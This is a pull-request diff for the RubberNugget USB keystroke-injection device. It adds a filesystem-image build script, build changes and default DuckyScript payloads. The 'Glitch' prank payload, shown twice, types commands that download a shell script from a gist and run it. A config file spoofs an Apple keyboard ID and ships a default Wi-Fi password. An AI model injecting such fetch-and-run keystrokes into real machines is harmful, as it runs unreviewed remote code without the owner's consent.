Skip to content
This repository has been archived by the owner on Dec 25, 2023. It is now read-only.

feat: generate fatfs from files #105

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 10 additions & 5 deletions src/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,13 @@ FROM debian:buster
WORKDIR /app

RUN apt-get update && apt-get install -y \
wget \
zip \
bsdmainutils \
xz-utils \
mtools \
python3 python3-pip \
wget \
xxd \
python3 python3-pip
xz-utils \
zip
RUN pip3 install pyserial esptool==4.2.1

ARG ARDUINO_CLI_VERSION=0.22.0
Expand All @@ -31,9 +32,13 @@ RUN ./third_party/arduino_cli_install.sh $(readlink -f ./arduino-cli)
RUN sed -i '/.*args = parser.parse_args(argv)/a\ \ \ \ args.after="no_reset"' $(grep -r parser.parse_args /root/.arduino15/packages/esp32/tools/esptool_py/ -l)

COPY RubberNugget ./RubberNugget
COPY fatfs/default.img .
COPY fatfs ./fatfs
COPY scripts ./scripts
RUN ./scripts/build_web_ui.sh
ARG FATFS_OUTPUT_FILE
ARG FATFS_FROM_DIR
RUN mkdir build
RUN OUTPUT_FILE=${FATFS_OUTPUT_FILE} DIR=${FATFS_FROM_DIR} ./fatfs/generate_fs.sh && mv ./fatfs/${FATFS_OUTPUT_FILE} ./build
RUN ./arduino-cli compile -b esp32:esp32:esp32s2 RubberNugget \
--build-property build.partitions=noota_3gffat \
--build-property build.cdc_on_boot=1 \
Expand Down
16 changes: 16 additions & 0 deletions src/fatfs/default/.usbnugget.conf
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
# USB Nugget Settings

# USB settings
# Here you can change the vendor ID (VID) and product ID (PID) that the USB
# Nugget reports itself as to any computer it is plugged in to. By default, the
# Nugget is set to identify as an Apple keyboard.
vid = "0x05ac"
pid = "0x20b"

# Wi-Fi settings
# Change these settings to modify the Wi-Fi network name and password the
# Nugget creates for its Wi-Fi interface. Change the password to prevent others
# from logging into your nugget. Passwords must be at least 8 characters in
# length. Invalid passwords will be set to default value "nugget123".
network = "Nugget AP"
password = "nugget123"
21 changes: 21 additions & 0 deletions src/fatfs/default/Linux/Example/Colors.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
CTRL ALT T
DELAY 1000
STRING echo testing out some colors!
ENTER
DELAY 500
LED R
DELAY 500
LED G
DELAY 500
LED B
DELAY 500
LED C
DELAY 500
LED Y
DELAY 500
LED M
DELAY 500
LED W
DELAY 1000
STRING done!
ENTER
9 changes: 9 additions & 0 deletions src/fatfs/default/Linux/Prank/Glitch.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
CTRL ALT T
DELAY 1000
STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 500
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
8 changes: 8 additions & 0 deletions src/fatfs/default/Linux/Prank/RickRoll.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
CTRL ALT T
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 4000
SPACE
DELAY 1000
STRING F
25 changes: 25 additions & 0 deletions src/fatfs/default/Mac/Example/RickRoll.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
REM Title: macOS rickroll
REM Author: Nils Streedain
REM Description:Opens a rickroll in YouTube in full screen at maximum volume.
REM Target: macOS 11.0+
REM Version: 1.0
REM Category: Prank
REM Source: https://github.com/nilsstreedain/Ducky-Scripts/

DELAY 100
GUI SPACE
DELAY 10
STRING terminal
DELAY 100
ENTER
DELAY 100
STRING open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'
ENTER
DELAY 1000
COMMAND TAB
DELAY 10
STRING osascript -e 'set volume 7' && killall Terminal
ENTER
DELAY 1500
STRING f

21 changes: 21 additions & 0 deletions src/fatfs/default/Starred/Example/Colors.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
CTRL ALT T
DELAY 1000
STRING echo testing out some colors!
ENTER
DELAY 500
LED R
DELAY 500
LED G
DELAY 500
LED B
DELAY 500
LED C
DELAY 500
LED Y
DELAY 500
LED M
DELAY 500
LED W
DELAY 1000
STRING done!
ENTER
9 changes: 9 additions & 0 deletions src/fatfs/default/Starred/Prank/Glitch.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
CTRL ALT T
DELAY 1000
STRING wget https://gist.githubusercontent.com/AlexLynd/2f8081f1940934e19a5a450ca358d142/raw/b6d4bfe05cb73f8140872448da54fb1824c4d627/linux-color-flasher.sh
ENTER
DELAY 500
STRING chmod +x linux-color-flasher.sh
ENTER
STRING ./linux-color-flasher.sh &
ENTER
8 changes: 8 additions & 0 deletions src/fatfs/default/Starred/Prank/RickRoll.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
CTRL ALT T
DELAY 1000
STRING firefox "https://www.youtube.com/watch?v=dQw4w9WgXcQ"
ENTER
DELAY 4000
SPACE
DELAY 1000
STRING F
24 changes: 24 additions & 0 deletions src/fatfs/default/Windows/Example/Colors.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
GUI R
DELAY 1000
STRING cmd
ENTER
DELAY 500
STRING echo trying out some colors!
ENTER
DELAY 500
LED R
DELAY 500
LED G
DELAY 500
LED B
DELAY 500
LED C
DELAY 500
LED Y
DELAY 500
LED M
DELAY 500
LED W
DELAY 1000
STRING done!
ENTER
Binary file renamed src/fatfs/default.img → src/fatfs/fs_template.img
Binary file not shown.
19 changes: 19 additions & 0 deletions src/fatfs/generate_fs.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#!/bin/bash

# cd to dir where this script is held so relative paths work
cd "$(dirname "$(readlink -f "$0")")"

# The directory to pack into the generated image
dir=${DIR:-default}
output_file=${OUTPUT_FILE:-fatfs.img}

cp fs_template.img "$output_file"


# Asterisk globbing doesn't work here because we need to include dotfiles
for entry in $(find "$dir" -mindepth 1 -maxdepth 1); do
# mcopy has an option to print what it's copying but it only prints the
# filename, not the whole path
echo "copying (recursive): $entry"
mcopy -i "$output_file" -s "$entry" ::
done
13 changes: 8 additions & 5 deletions src/makefile
Original file line number Diff line number Diff line change
Expand Up @@ -4,12 +4,15 @@ IMAGE_NAME = rubber-nugget
CONTAINER_NAME := $(IMAGE_NAME)-$(shell date +%s)
ARDUINO_CLI_VERSION = 0.22.0

# File system name to generate
FATFS ?= fatfs.img

submodules:
git submodule init
git submodule update

build: submodules
docker build . --file Dockerfile --build-arg ARDUINO_CLI_VERSION=$(ARDUINO_CLI_VERSION) --tag rubber-nugget
docker build . --file Dockerfile --build-arg FATFS_OUTPUT_FILE=$(FATFS) --build-arg FATFS_FROM_DIR=default --build-arg ARDUINO_CLI_VERSION=$(ARDUINO_CLI_VERSION) --tag rubber-nugget

flash: check-port build
docker create --name $(CONTAINER_NAME) --device=$(PORT) -t rubber-nugget:latest
Expand All @@ -18,7 +21,7 @@ flash: check-port build
'./arduino-cli upload -b esp32:esp32:esp32s2 --port $(PORT) RubberNugget/ && sleep 2'
ifeq ($(RESET_SCRIPTS_DURING_FLASH), true)
docker exec $(CONTAINER_NAME) bash -c \
'python3 -m esptool --after no_reset write_flash 0x110000 default.img'
'python3 -m esptool --after no_reset write_flash 0x111000 build/$(FATFS)'
endif
docker rm --force $(CONTAINER_NAME)

Expand All @@ -29,7 +32,7 @@ generate_bin: build
docker rm --force $(CONTAINER_NAME)
cp usb_nugget_bin_template usb_nugget.bin
dd of=usb_nugget.bin if=build/RubberNugget.ino.bin seek=65536 bs=1 conv=notrunc
dd of=usb_nugget.bin if=fatfs/default.img seek=1114112 bs=1 conv=notrunc count=3080192
dd of=usb_nugget.bin if=build/$(FATFS) seek=1118208 bs=1 conv=notrunc count=3076096

check-port:
@ls $(PORT) || { echo "Device not found at $(PORT)" && exit 1; }
Expand Down Expand Up @@ -60,14 +63,14 @@ check-mac-port:
@ls $(MAC_PORT) || { echo "Device not found at $(MAC_PORT)" && exit 1; }

mac-build: submodules
sudo docker build . --file Dockerfile --build-arg ARDUINO_CLI_VERSION=$(ARDUINO_CLI_VERSION) --tag rubber-nugget
sudo docker build . --file Dockerfile --build-arg FATFS_OUTPUT_FILE=$(FATFS) --build-arg FATFS_FROM_DIR=default --build-arg ARDUINO_CLI_VERSION=$(ARDUINO_CLI_VERSION) --tag rubber-nugget

flash-on-mac: check-mac-port check-mac-deps arduino-cli mac-build
sudo docker create --name $(CONTAINER_NAME) -t rubber-nugget:latest
sudo docker cp $(CONTAINER_NAME):/app/build .
sudo docker rm --force $(CONTAINER_NAME)
ifeq ($(RESET_SCRIPTS_DURING_FLASH), true)
python3 -m esptool --after no_reset write_flash 0x110000 fatfs/default.img
python3 -m esptool --after no_reset write_flash 0x111000 build/$(FATFS)
endif
{ sudo ./scripts/arduino-cli upload -b esp32:esp32:esp32s2 --port $(MAC_PORT) --config-file arduino-cli-mac.yaml --input-dir build; } || echo \
'If you get the error: "esptool.py can not exit the download mode over USB..." this is a bug in arduino-cli and can be ignored'